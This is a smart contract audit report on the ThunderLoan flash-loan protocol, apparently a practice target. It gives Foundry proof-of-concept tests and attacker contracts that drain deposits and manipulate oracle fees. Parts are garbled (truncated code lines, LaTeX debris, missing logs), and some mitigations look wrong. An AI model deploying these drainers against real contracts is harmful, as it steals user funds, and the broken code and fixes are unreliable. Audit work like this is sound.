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# **Protocol Summary**

ThunderLoan allows Users To Take Out Flash Loans by Paying Fee Based on Amount they Take and Liquidity Providers Can Deposit their Assets to this Protocol and Get AssetToken in Return Which Gains Interest Overtime Depending on How Often People Take out Flash Loans.

# **Summary of Findings**

Severity	Issue Count
High-Risk	5
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## **Findings**

#### **HIGH**

[HIGH-1] Updating Exchange Rate in deposit() function Can Lead to Attacker Draining of Underlying Tokens.

**Description:** The deposit() function in the ThunderLoan contract updates the exchange rate after a deposit has been made. This behavior allows an attacker to exploit the exchange rate adjustment mechanism by continuously depositing and redeeming tokens. Each deposit updates the exchange rate, and by performing this in a loop, an attacker can drain the underlying tokens from the protocol.

**Impact:** An attacker can deplete the protocol's underlying token reserves. This vulnerability compromises the security of the protocol, leading to a significant loss of funds for the protocol and its users. As users' deposits can be drained, this would result in a loss of trust and potential financial damage to all parties involved.

#### **Proof of Concept:**

i Wrote Little Test Which Shows Attacker Deposits DEPOSIT\_AMOUNT = 1e21, and then redeem()s right after it and gets more tokens.

```
function testAttackerCanDepositAndRedeemAfterToDrainProtocolFunds() public setAllowedToD
    vm.startPrank(attacker);

tokenA.mint(attacker, DEPOSIT_AMOUNT);
    tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT);
    thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT);

console.log("Attacker Deposited This Amount: ", DEPOSIT_AMOUNT);

AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
    thunderLoan.redeem(tokenA, assetToken.balanceOf(attacker));

console.log("Attacker Redeemed Right After it and Received: ", tokenA.balanceOf(attacker)
    vm.stopPrank();

assert(tokenA.balanceOf(attacker) > DEPOSIT_AMOUNT);
}
```

Run the Test With Following Command:

forge test --match-test testAttackerCanDepositAndRedeemAfterToDrainProtocolFunds -vvvv Take a Look at the Logs:

#### Logs:

#### Recommended Mitigation:

Delete these lines from the deposit() function:

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNot
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);
    uint256 calculatedFee = getCalculatedFee(token, amount);
    assetToken.updateExchangeRate(calculatedFee);
    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

#### [HIGH-2] Incorrect Fee Calculation for Non-Standard ERC20 Tokens.

#### **Description:**

The getCalculatedFee() function calculates flash loan fees without accounting for varying token decimals, leading to disproportionately low fees for tokens like USDT and USDC with 6 decimals.

#### Impact:

Attacker Can Take Flash Loans Without Paying the Correct Fee Amount.

#### **Proof of Concept:**

Put the Following Test into the ThunderLoanTest.t.sol:

```
function testCalculatedFeeForNonERC20TokenisMuchLessThanStandardERC20Token() external pr
    // USDT has 6 decimals so 1 USDT is equal to 1e9
    // WETH has 18 decimals so 1 WETH is equal to 1e18

// Fee Calculation Formula in ThunderLoan.sol:
    // uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_fee.
    // fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;

// User Takes 100 USDT Flash Loan
    uint256 ValueOfBorrowedUSDTinWeth = ((100 * 1e6) * 1e18) / 1e18;
    uint256 USDTfee = (ValueOfBorrowedUSDTinWeth * 1e15) / 1e18;

// User Takes 100 WETH Flash Loan
    uint256 ValueOfBorrowedWETHinWeth = ((100 * 1e18) * 1e18) / 1e18;
    uint256 WETHfee = (ValueOfBorrowedWETHinWeth * 1e15) / 1e18;
```

```
assert(USDTfee < WETHfee);</pre>
                                  console.log("Took out 100 USDT, and the Fee For it is: ", USDTfee);
                                  console.log("Took out 100 WETH, and the Fee For it is: ", WETHfee);
                 }
And Run the Test:
            forge\ test\ --match-test\ test Calculated Fee For Non ERC 20 Token is \texttt{MuchLessThanStandard} ERC 20 Token is \texttt{MuchLessTha
Take a Look at the Logs:
            Logs:
                         Took out 100 USDT, and the Fee For it is: 100000
                         Recommended Mitigation:
Adjust the getCalculatedFee function:
            function getCalculatedFee(uint256 amount) public view returns(uint256 fee) {
                              uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrec
                              fee = (amount * s_flashLoanFee) / s_feePrecision;
            }
```

[HIGH-3] Attacker Can Drain ThunderLoan By Taking a Flash Loan and repaying with deposit() function and then call redeem() function.

#### Description:

An attacker can take a flash loan, use the borrowed tokens to deposit back into the protocol, receive AssetTokens, and then redeem them for more tokens than initially borrowed. This cycle drains the protocol's funds.

#### Impact:

This exploit allows an attacker to repeatedly deplete the protocol's token reserves, leading to significant financial loss for the protocol and its users.

#### **Proof of Concept:**

```
Attacker Contract Looks Like this:
    contract FlashLoanDrainer {
        ThunderLoan thunderLoan;
        AssetToken assetToken;

        constructor(ThunderLoan _thunderLoan, AssetToken _assetToken) {
            thunderLoan = _thunderLoan;
```

```
assetToken = _assetToken;
             }
             function executeOperation(
                    address token,
                   uint256 amount,
                   uint256 fee,
                    address /*initiator*/,
                   bytes calldata /* params */
             )
                   external
                   returns (bool)
             {
                    IERC20(token).approve(address(thunderLoan), amount + fee);
                   thunderLoan.deposit(IERC20(token), amount + fee);
                    return true;
             }
             function drainThunderLoan(address _token) external {
                    uint256 currentExchangeRate = assetToken.getExchangeRate();
                   uint256 assetTokenExchangeRatePrecision = assetToken.EXCHANGE_RATE_PRECISION();
                   uint256 ThunderLoanTokenABalance = IERC20(_token).balanceOf(address(assetToken));
                   uint256 assetTokenAmountToSend = (assetTokenExchangeRatePrecision * ThunderLoanToken
                    thunderLoan.redeem(IERC20(_token), assetTokenAmountToSend);
             }
      }
and this is the Test i Wrote:
         \textbf{function} \hspace{0.2cm} \textbf{testAttackerCanDrainFundsOfTheProtocolByTakingFlashLoanAndDepositingToProtocolByTakingFlashLoanAndDepositingToProtocolByTakingFlashLoanAndDepositingToProtocolByTakingFlashLoanAndDepositingToProtocolByTakingFlashLoanAndDepositingToProtocolByTakingFlashLoanAndDepositingToProtocolByTakingFlashLoanAndDepositingToProtocolByTakingFlashLoanAndDepositingToProtocolByTakingFlashLoanAndDepositingToProtocolByTakingFlashLoanAndDepositingToProtocolByTakingFlashLoanAndDepositingToProtocolByTakingFlashLoanAndDepositingToProtocolByTakingFlashLoanAndDepositingToProtocolByTakingFlashLoanAndDepositingToProtocolByTakingFlashLoanAndDepositingToProtocolByTakingFlashLoanAndDepositingToProtocolByTakingFlashLoanAndDepositingToProtocolByTakingFlashLoanAndDepositingToProtocolByTakingFlashLoanAndDepositingToProtocolByTakingFlashLoanAndDepositingToProtocolByTakingFlashLoanAndDepositingToProtocolByTakingFlashLoanAndDepositingToProtocolByTakingFlashLoanAndDepositingToProtocolByTakingFlashLoanBattlerDepositingToProtocolByTakingFlashLoanBattlerDepositingToProtocolByTakingFlashLoanBattlerDepositingToProtocolByTakingFlashLoanBattlerDepositingFlashLoanBattlerDepositingFlashLoanBattlerDepositionFlashLoanBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlashBattlerDepositionFlash
                  AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
                 FlashLoanDrainer flashLoanDrainer = new FlashLoanDrainer(thunderLoan, assetToken);
                 uint256 feeToPay = thunderLoan.getCalculatedFee(tokenA, DEPOSIT_AMOUNT);
                  tokenA.mint(address(flashLoanDrainer), feeToPay);
                  console.log("Attacker Contract inital Balance Should be The Amount that it's Needed
                  console.log("Attacker Contract Balance Before Taking the Flash Loan With Token A: "
                  console.log("ThunderLoan Contract Balance Before Attacker Takes the Flash Loan With
                  thunderLoan.flashloan(address(flashLoanDrainer), tokenA, DEPOSIT_AMOUNT, "");
                  flashLoanDrainer.drainThunderLoan(address(tokenA));
                  console.log("Attacker Contract Balance of Token A After Draining ThunderLoan Contract
                  console.log("ThunderLoan Contract Balance After Getting Drained:", tokenA.balanceOf
```

```
assert(tokenA.balanceOf(address(flashLoanDrainer)) > tokenA.balanceOf(address(asset'));
```

Run the Test with Following Command:

 $forge\ test\ --match-test\ test Attacker Can Drain Funds Of The Protocol By Taking Flash Loan And Department of the Logs:$ 

#### Logs:

#### Recommended Mitigation:

add the following line to deposit() function so it cannot be called when a flash loan is taken:

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNot
    require(!isCurrentlyFlashLoaning(token), "Token is Currently Flash Loaning.");
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);
    uint256 calculatedFee = getCalculatedFee(token, amount);
    assetToken.updateExchangeRate(calculatedFee);
    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

# [HIGH-4] Disabling Allowed Tokens Prevents Liquidity Providers from Redeeming Tokens.

#### Description:

The setAllowedToken function allows the owner to disable tokens, deleting their corresponding AssetToken. This prevents liquidity providers from redeeming their AssetToken for the original tokens they deposited.

#### Impact:

Liquidity providers will be unable to redeem their AssetToken, leading to potential financial losses and eroding trust in the protocol.

#### **Proof of Concept:**

Place the Following test inside the ThunderLoanTest.t.sol:

```
function testSetAllowedTokenOnDepositedAsset() public setAllowedToken hasDeposits {
        AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
        console.log("ThunderLoan Contract Token A Balance: " ,tokenA.balanceOf(address(asset
        vm.startPrank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, false);
        vm.stopPrank();
        vm.startPrank(liquidityProvider);
        uint256 liquidityProviderAssetTokenbalance = assetToken.balanceOf(liquidityProvider
        vm.expectRevert(abi.encodeWithSelector(ThunderLoan.ThunderLoan__NotAllowedToken.sel
        thunderLoan.redeem(tokenA, liquidityProviderAssetTokenbalance);
        vm.stopPrank();
    }
Run the Test with:
   forge test --match-test testSetAllowedTokenOnDepositedAsset -vvvv
As You Can see when liquidityProvider Calls the redeem() function, it gets
reverted.
Recommended Mitigation:
Refactor the setAllowedToken() function so it looks like this:
    function setAllowedToken(IERC20 token, bool allowed) external onlyOwner returns (AssetTo
        if (allowed) {
            if (address(s_tokenToAssetToken[token]) != address(0)) {
                revert ThunderLoan__AlreadyAllowed();
            }
            string memory name = string.concat("ThunderLoan ", IERC20Metadata(address(token)
            string memory symbol = string.concat("tl", IERC20Metadata(address(token)).symbol
            AssetToken assetToken = new AssetToken(address(this), token, name, symbol);
            s_tokenToAssetToken[token] = assetToken;
            emit AllowedTokenSet(token, assetToken, allowed);
            return assetToken;
        } else {
              AssetToken assetToken = s_tokenToAssetToken[token];
              require(assetToken.totalSupply() == 0, "Cannot disable the Given Token.");
              delete s_tokenToAssetToken[token];
              emit AllowedTokenSet(token, assetToken, allowed);
```

return assetToken;

```
}
```

## $[HIGH\text{-}5]\ Storage\ Collision\ Between\ Thunder \texttt{Loan.sol}\ and\ Thunder \texttt{LoanUpgraded.sol}$

#### Description:

The contracts ThunderLoan.sol and ThunderLoanUpgraded.sol exhibit a storage collision issue. In ThunderLoan.sol, the storage layout is defined as:

```
uint256 private s_feePrecision;
uint256 private s_flashLoanFee;
```

In ThunderLoanUpgraded.sol, the storage layout is defined as:

```
uint256 private s_flashLoanFee; // 0.3% ETH fee
uint256 public constant FEE_PRECISION = 1e18;
```

When upgrading from ThunderLoan to ThunderLoanUpgraded, the variable s\_flashLoanFee in ThunderLoan.sol will be overwritten by the constant FEE\_PRECISION in ThunderLoanUpgraded.sol. This results in a storage collision that can corrupt the state of the contract and lead to unexpected behavior.

#### Impact:

The storage collision will result in the misalignment of the storage slots. Specifically, the value of s\_feePrecision in ThunderLoan.sol will be overwritten by the value s\_flashLoanFee in ThunderLoanUpgraded.sol, leading to the following issues: - The value of s\_flashLoanFee will be incorrectly set to 1e18, leading to incorrect fee calculations. - The value of s\_feePrecision will be lost, causing potential failures or incorrect behaviors in functions relying on it.

#### **Proof Of Concept:**

You Take A Look at Contracts Storage Layout Using forge:

```
forge inspect <CONTRACT_NAME> storage
```

Recommended Mitigation: To prevent storage collision, ensure that the storage layouts of ThunderLoan and ThunderLoanUpgraded match. Specifically: - Retain the variable s\_feePrecision in ThunderLoanUpgraded in the same storage slot as in ThunderLoan. - Ensure that all new variables are added to the end of the storage layout.

Revised storage layout for ThunderLoanUpgraded.sol:

```
uint256 private s_feePrecision;
uint256 private s_flashLoanFee; // 0.3% ETH fee
uint256 public constant FEE_PRECISION = 1e18;
```

#### **MEDIUM**

[MED-1] Attacker Can Take Advantage of Price Manipulation Vulnerability in getPriceInWeth Function to Take Flash Loan With Paying Much Less Fee.

**Description:** The getPriceInWeth function in OracleUpgradable.sol fetches the price of a token in WETH by querying the pool's price. This price can be manipulated by an attacker through sending large amounts of WETH or the pool's token to the pool.

**Impact:** An attacker can artificially inflate or deflate the price of the token, affecting the flash loan fee calculation and Can take the Second Flash Loan With Paying Much Less Fee.

#### **Proof of Concept:**

The Way getPriceInWeth() function gives us Each Token Price in WEth is it Gets the Pool Address Associated with that particular token from Tswap and Checks the Constant Ratio of it.

This Means if We Have 100 WETH and 100 Token A in That Pool, it Means 1 Token A is Equal to 1 WETH. Now If Attacker Sends 900 Token A to that Pool and now We Have 1000 Token A and 100 WETH, Each Token A is Equal to 0.1 WETH. So Attacker Manipulated The Price and Now Can Take the Flash Loan With Much Less Fee.

Add this Test To ThunderLoanTest.t.sol:

```
function testPriceOfFeeCalculationInFlashLoanCanBeManipulated() public setAllowedToken ha
    // MockTSwapPool Returns 1e18 WETH for Each Token A
    // If Attacker Sends Large Amounts Of Token A to that Pool, The Price of Token A Wi
    // First Lets take a Flash Loan When Price of Each Token A is Equal to 1e18.

PriceManipulator priceManipulator = new PriceManipulator(thunderLoan, tokenA);
    tokenA.mint(address(priceManipulator), 2e18);
    uint256 firstFlashLoanFee = thunderLoan.getCalculatedFee(tokenA, 1e10);
    thunderLoan.flashloan(address(priceManipulator), tokenA, 1e10, "");

// Attacker Sends Huge Amounts of Token A to TSwap Pool Which Causes the Price of ExthunderLoan.setPrice(address(tokenA), 1e15);
    uint256 secondFlashLoanFee = thunderLoan.getCalculatedFee(tokenA, 1e10);
    thunderLoan.flashloan(address(priceManipulator), tokenA, 1e10, "");

console.log("First Flash Loan Fee: ", firstFlashLoanFee);
    console.log("Second Flash Loan Fee: ", secondFlashLoanFee);
    assert(firstFlashLoanFee > secondFlashLoanFee);
```

```
}
and this is the Flash Loan Receiever Contract:
      contract PriceManipulator {
         ThunderLoan thunderLoan;
         ERC20Mock tokenA;
         MockTSwapPool tswapPool;
         bool isFirstFlashLoan = true;
         uint256 public secondFlashLoanFee;
         constructor(ThunderLoan _thunderLoan, ERC20Mock _tokenA) {
            thunderLoan = thunderLoan;
            tokenA = _tokenA;
         }
         function executeOperation(
            address token,
            uint256 amount,
            uint256 fee,
            address /*initiator*/,
            bytes calldata /* params */
            external
            returns (bool)
            if (isFirstFlashLoan) {
                  IERC20(token).approve(address(thunderLoan), amount + fee);
                  IThunderLoan(address(thunderLoan)).repay(token, amount + fee);
                  isFirstFlashLoan = false;
                  return true;
            } else {
                  secondFlashLoanFee = fee;
                  IERC20(token).approve(address(thunderLoan), amount + fee);
                  IThunderLoan(address(thunderLoan)).repay(token, amount + fee);
                  return true;
         }
      }
```

You Can Run the Test By Following Command:

 $forge\ test\ --match-test\ test Price Of Fee Calculation In Flash Loan Can Be Manipulated\ -vvvv \\ take\ a\ Look\ at\ the\ Logs:$ 

#### Logs:

First Flash Loan Fee: 30000000 Second Flash Loan Fee: 30000

#### Recommended Mitigation:

• Use Chainlink VRF to Get Price of an Token in WEth.

#### LOW

#### [LOW-1] Incorrect Initial Exchange Rate Leads to Incorrect Mint Amount Calculation

Description: In the ThunderLoan.sol contract, within the deposit function, the initial exchange rate is assumed to be obtained from the AssetToken contract's getExchangeRate function. However, the expected starting exchange rate should be 2e18 as per the AssetToken contract documentation which states that each AssetToken is equivalent to 2 underlying tokens. The current implementation initializes the s\_exchangeRate to 1e18, leading to incorrect mint amount calculations.

Impact: This incorrect initial exchange rate results in the wrong calculation of the amount of AssetToken minted when a deposit is made. Users depositing tokens may receive fewer AssetTokens than expected, leading to a loss in value and potential user distrust.

Recommended Mitigation: Set the STARTING\_EXCHANGE\_RATE in AssetToken.sol to 2e18 to align with the expected exchange rate. This ensures that the initial mint calculations are accurate and reflect the intended value of 1 AssetToken being equal to 2 underlying tokens. Modify the constructor in AssetToken.sol as follows:

```
// Change STARTING_EXCHANGE_RATE to 2e18
uint256 private constant STARTING_EXCHANGE_RATE = 2e18;
```

#### [LOW-2] initialize() Function Vulnerable to Front-Running Bots

**Description:** The initialize() function in ThunderLoan.sol is vulnerable to front-running, allowing bots to invoke it before the intended user, potentially compromising the contract's initialization.

**Impact:** Unauthorized control over the contract's initialization can lead to incorrect or malicious configuration, resulting in potential financial loss or operational issues.

#### Recommended Mitigation:

the Deployment Script Should Be Like This to Call the initialize() function Right After Deploying:

```
contract DeployThunderLoan is Script {
    ERC1967Proxy proxy;

    function run() public {
        vm.startBroadcast();
        ThunderLoan thunderLoan = new ThunderLoan();
        bytes memory data = abi.encodeWithSignature("initialize(address)", <TSWAP_ADDRESS>);
        proxy = new ERC1967Proxy(address(thunderLoan), data);
        vm.stopBroadcast();
    }
}
```

#### **INFORMATIONAL**

[INFO-1] s\_feePrecision Should Be Constant

#### Description:

The  $s\_feePrecision$  variable is set during initialization and never changes, indicating it should be constant.

#### Impact:

Using a constant improves gas efficiency and clarifies the value's immutability.

#### Recommended Mitigation:

Declare s\_feePrecision as a constant:

```
uint256 private constant s_feePrecision = 1e18;
```